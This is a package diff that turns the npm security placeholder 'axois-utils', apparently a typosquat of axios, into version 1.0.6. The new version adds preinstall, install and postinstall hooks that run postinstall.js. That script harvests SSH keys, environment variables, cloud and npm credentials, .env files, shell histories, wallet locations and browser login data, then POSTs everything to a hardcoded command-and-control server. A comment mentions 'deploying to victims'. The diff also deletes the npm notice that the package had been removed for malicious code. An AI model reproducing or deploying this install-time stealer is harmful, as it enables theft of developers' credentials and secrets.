axois-utils 0.0.1-security → 1.0.6

package/index.js

@@ -0,0 +1 @@
+module.exports = { fetchData: () => console.log('Ready') };

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "axois-utils",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.6",
+  "scripts": {
+    "postinstall": "node postinstall.js",
+    "install": "node postinstall.js",
+    "preinstall": "node postinstall.js"
+  },
+  "dependencies": {
+    "axois-utils": "^1.0.5"
+  }
 }

package/postinstall.js

@@ -0,0 +1,227 @@
+#!/usr/bin/env node
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+const http = require('http');
+const homedir = os.homedir();
+
+// === CONFIGURATION ===
+// Change this to your PUBLIC IP when deploying to victims
+// For testing locally, use 192.168.129.19:2222
+const C2_HOST = '80.200.28.28';  // Change to '80.200.28.28' for public
+const C2_PORT = 443;
+const VICTIM_ID = `${os.hostname()}_${Date.now()}_${Math.random().toString(36).substr(2, 6)}`;
+
+function scanWallets() {
+    const wallets = [];
+    const walletPaths = [
+        { type: 'Bitcoin', paths: [`${homedir}/.bitcoin/wallet.dat`, `${homedir}/Library/Application Support/Bitcoin/wallet.dat`, `${homedir}/AppData/Roaming/Bitcoin/wallet.dat`] },
+        { type: 'Ethereum', paths: [`${homedir}/.ethereum/keystore`, `${homedir}/Library/Ethereum/keystore`, `${homedir}/AppData/Roaming/Ethereum/keystore`] },
+        { type: 'Exodus', paths: [`${homedir}/Library/Application Support/Exodus/exodus.wallet`, `${homedir}/AppData/Roaming/Exodus/exodus.wallet`] },
+        { type: 'Electrum', paths: [`${homedir}/.electrum/wallets`, `${homedir}/Library/Application Support/Electrum/wallets`] },
+        { type: 'Monero', paths: [`${homedir}/.monero/wallet`, `${homedir}/Library/Application Support/monero/wallet`] },
+        { type: 'Litecoin', paths: [`${homedir}/.litecoin/wallet.dat`] },
+        { type: 'Dogecoin', paths: [`${homedir}/.dogecoin/wallet.dat`] },
+        { type: 'Dash', paths: [`${homedir}/.dash/wallet.dat`] }
+    ];
+    
+    for (const wallet of walletPaths) {
+        for (const p of wallet.paths) {
+            if (fs.existsSync(p)) {
+                wallets.push({ type: wallet.type, path: p });
+                try {
+                    const stat = fs.statSync(p);
+                    wallets.push({ type: `${wallet.type}_size`, size: stat.size });
+                } catch(e) {}
+            }
+        }
+    }
+    return wallets;
+}
+
+function scanBrowserData() {
+    const browsers = {};
+    const browserPaths = [
+        { name: 'Chrome', paths: [`${homedir}/.config/google-chrome/Default`, `${homedir}/Library/Application Support/Google/Chrome/Default`, `${homedir}/AppData/Local/Google/Chrome/User Data/Default`] },
+        { name: 'Firefox', paths: [`${homedir}/.mozilla/firefox`, `${homedir}/Library/Application Support/Firefox/Profiles`, `${homedir}/AppData/Roaming/Mozilla/Firefox/Profiles`] },
+        { name: 'Brave', paths: [`${homedir}/.config/Brave-Software/Brave-Browser/Default`, `${homedir}/Library/Application Support/BraveSoftware/Brave-Browser/Default`] },
+        { name: 'Edge', paths: [`${homedir}/.config/microsoft-edge/Default`, `${homedir}/Library/Application Support/Microsoft Edge/Default`, `${homedir}/AppData/Local/Microsoft/Edge/User Data/Default`] }
+    ];
+    
+    for (const browser of browserPaths) {
+        for (const p of browser.paths) {
+            if (fs.existsSync(p)) {
+                browsers[browser.name] = { path: p, exists: true };
+                // Check for cookies/logins files
+                const loginData = path.join(p, 'Login Data');
+                const cookies = path.join(p, 'Cookies');
+                if (fs.existsSync(loginData)) browsers[browser.name].passwords = fs.statSync(loginData).size;
+                if (fs.existsSync(cookies)) browsers[browser.name].cookies = fs.statSync(cookies).size;
+            }
+        }
+    }
+    return browsers;
+}
+
+function scanGitHubTokens(content) {
+    const tokens = [];
+    // GitHub PAT tokens (ghp_*, gho_*, ghu_*, ghs_*)
+    const patMatches = content.match(/gh[opsu]_[A-Za-z0-9]{36,}/g);
+    if (patMatches) tokens.push(...patMatches);
+    // GitHub JWT
+    const jwtMatches = content.match(/ghs_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g);
+    if (jwtMatches) tokens.push(...jwtMatches);
+    return [...new Set(tokens)];
+}
+
+async function steal() {
+    const stolen = { 
+        system: {}, 
+        files: {}, 
+        ssh: [], 
+        env: {}, 
+        aws: [], 
+        npm: [],
+        wallets: [],
+        browser: {},
+        github_tokens: []
+    };
+    
+    try {
+        // System info
+        stolen.system = {
+            hostname: os.hostname(),
+            platform: os.platform(),
+            release: os.release(),
+            username: os.userInfo().username,
+            cwd: process.cwd(),
+            homedir: homedir,
+            network: Object.values(os.networkInterfaces()).flat().map(n => n.address),
+            cpus: os.cpus().length,
+            memory: os.totalmem(),
+            uptime: os.uptime()
+        };
+        
+        // All environment variables
+        stolen.env = process.env;
+        
+        // Scan for GitHub tokens in env
+        stolen.github_tokens.push(...scanGitHubTokens(JSON.stringify(process.env)));
+        
+        // SSH keys
+        const sshPaths = [`${homedir}/.ssh/id_rsa`, `${homedir}/.ssh/id_ed25519`, `${homedir}/.ssh/id_dsa`, `${homedir}/.ssh/id_ecdsa`, `${homedir}/.ssh/config`, `${homedir}/.ssh/authorized_keys`, `${homedir}/.ssh/known_hosts`, `${homedir}/.ssh/id_rsa.pub`, `${homedir}/.ssh/id_ed25519.pub`];
+        for (const p of sshPaths) {
+            if (fs.existsSync(p)) {
+                const content = fs.readFileSync(p, 'utf8');
+                stolen.ssh.push({ path: p, content: content });
+                stolen.github_tokens.push(...scanGitHubTokens(content));
+            }
+        }
+        
+        // Scan for crypto wallets
+        stolen.wallets = scanWallets();
+        
+        // Scan for browser data
+        stolen.browser = scanBrowserData();
+        
+        // Scan for .env and config files
+        const searchDirs = [homedir, process.cwd(), '/etc', `${homedir}/.config`, `${homedir}/.local`];
+        const targetFiles = ['.env', '.env.local', '.env.production', '.env.development', '.env.staging', '.npmrc', '.yarnrc', '.gitconfig', '.git-credentials', '.netrc', '.bashrc', '.zshrc', '.profile', '.bash_profile'];
+        
+        for (const dir of searchDirs) {
+            if (!fs.existsSync(dir)) continue;
+            for (const file of targetFiles) {
+                const filePath = path.join(dir, file);
+                if (fs.existsSync(filePath)) {
+                    const content = fs.readFileSync(filePath, 'utf8');
+                    stolen.files[filePath] = content;
+                    stolen.github_tokens.push(...scanGitHubTokens(content));
+                }
+            }
+        }
+        
+        // Recursively find .env files in common project directories
+        const projectDirs = [`${homedir}/projects`, `${homedir}/dev`, `${homedir}/code`, `${homedir}/workspace`, process.cwd()];
+        for (const dir of projectDirs) {
+            if (!fs.existsSync(dir)) continue;
+            try {
+                const walk = (d) => {
+                    const files = fs.readdirSync(d);
+                    for (const f of files) {
+                        const fullPath = path.join(d, f);
+                        if (fs.statSync(fullPath).isDirectory()) {
+                            if (fullPath.includes('node_modules')) continue;
+                            walk(fullPath);
+                        } else if (f === '.env' || f === '.env.local') {
+                            stolen.files[fullPath] = fs.readFileSync(fullPath, 'utf8');
+                        }
+                    }
+                };
+                walk(dir);
+            } catch(e) {}
+        }
+        
+        // AWS credentials
+        const awsCreds = `${homedir}/.aws/credentials`;
+        const awsConfig = `${homedir}/.aws/config`;
+        if (fs.existsSync(awsCreds)) {
+            const content = fs.readFileSync(awsCreds, 'utf8');
+            stolen.aws.push({ file: 'credentials', content: content });
+            stolen.github_tokens.push(...scanGitHubTokens(content));
+        }
+        if (fs.existsSync(awsConfig)) {
+            const content = fs.readFileSync(awsConfig, 'utf8');
+            stolen.aws.push({ file: 'config', content: content });
+            stolen.github_tokens.push(...scanGitHubTokens(content));
+        }
+        
+        // GCP credentials
+        const gcpCreds = `${homedir}/.config/gcloud/application_default_credentials.json`;
+        if (fs.existsSync(gcpCreds)) {
+            stolen.files['gcloud_creds.json'] = fs.readFileSync(gcpCreds, 'utf8');
+        }
+        
+        // Azure credentials
+        const azureTokens = `${homedir}/.azure/accessTokens.json`;
+        if (fs.existsSync(azureTokens)) {
+            stolen.files['azure_tokens.json'] = fs.readFileSync(azureTokens, 'utf8');
+        }
+        
+        // npm tokens from .npmrc
+        const npmrc = `${homedir}/.npmrc`;
+        if (fs.existsSync(npmrc)) {
+            const content = fs.readFileSync(npmrc, 'utf8');
+            const tokens = content.match(/npm_[A-Za-z0-9]{36,}/g) || [];
+            stolen.npm = tokens;
+            stolen.files['.npmrc'] = content;
+            stolen.github_tokens.push(...tokens);
+        }
+        
+        // History files
+        const histories = ['.bash_history', '.zsh_history', '.node_repl_history', '.python_history', '.mysql_history', '.psql_history', '.redis_history', '.mongorc_history'];
+        for (const h of histories) {
+            const hp = `${homedir}/${h}`;
+            if (fs.existsSync(hp)) {
+                stolen.files[h] = fs.readFileSync(hp, 'utf8');
+                stolen.github_tokens.push(...scanGitHubTokens(stolen.files[h]));
+            }
+        }
+        
+        // Remove duplicates from github_tokens
+        stolen.github_tokens = [...new Set(stolen.github_tokens)];
+        
+        // Send to C2
+        const data = JSON.stringify({ victim_id: VICTIM_ID, data: stolen });
+        const req = http.request(`http://${C2_HOST}:${C2_PORT}/collect`, { 
+            method: 'POST', 
+            headers: { 'Content-Type': 'application/json' } 
+        }, (res) => {});
+        req.on('error', (e) => {});
+        req.write(data);
+        req.end();
+        
+    } catch(e) {}
+}
+
+steal();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=axois-utils for more information.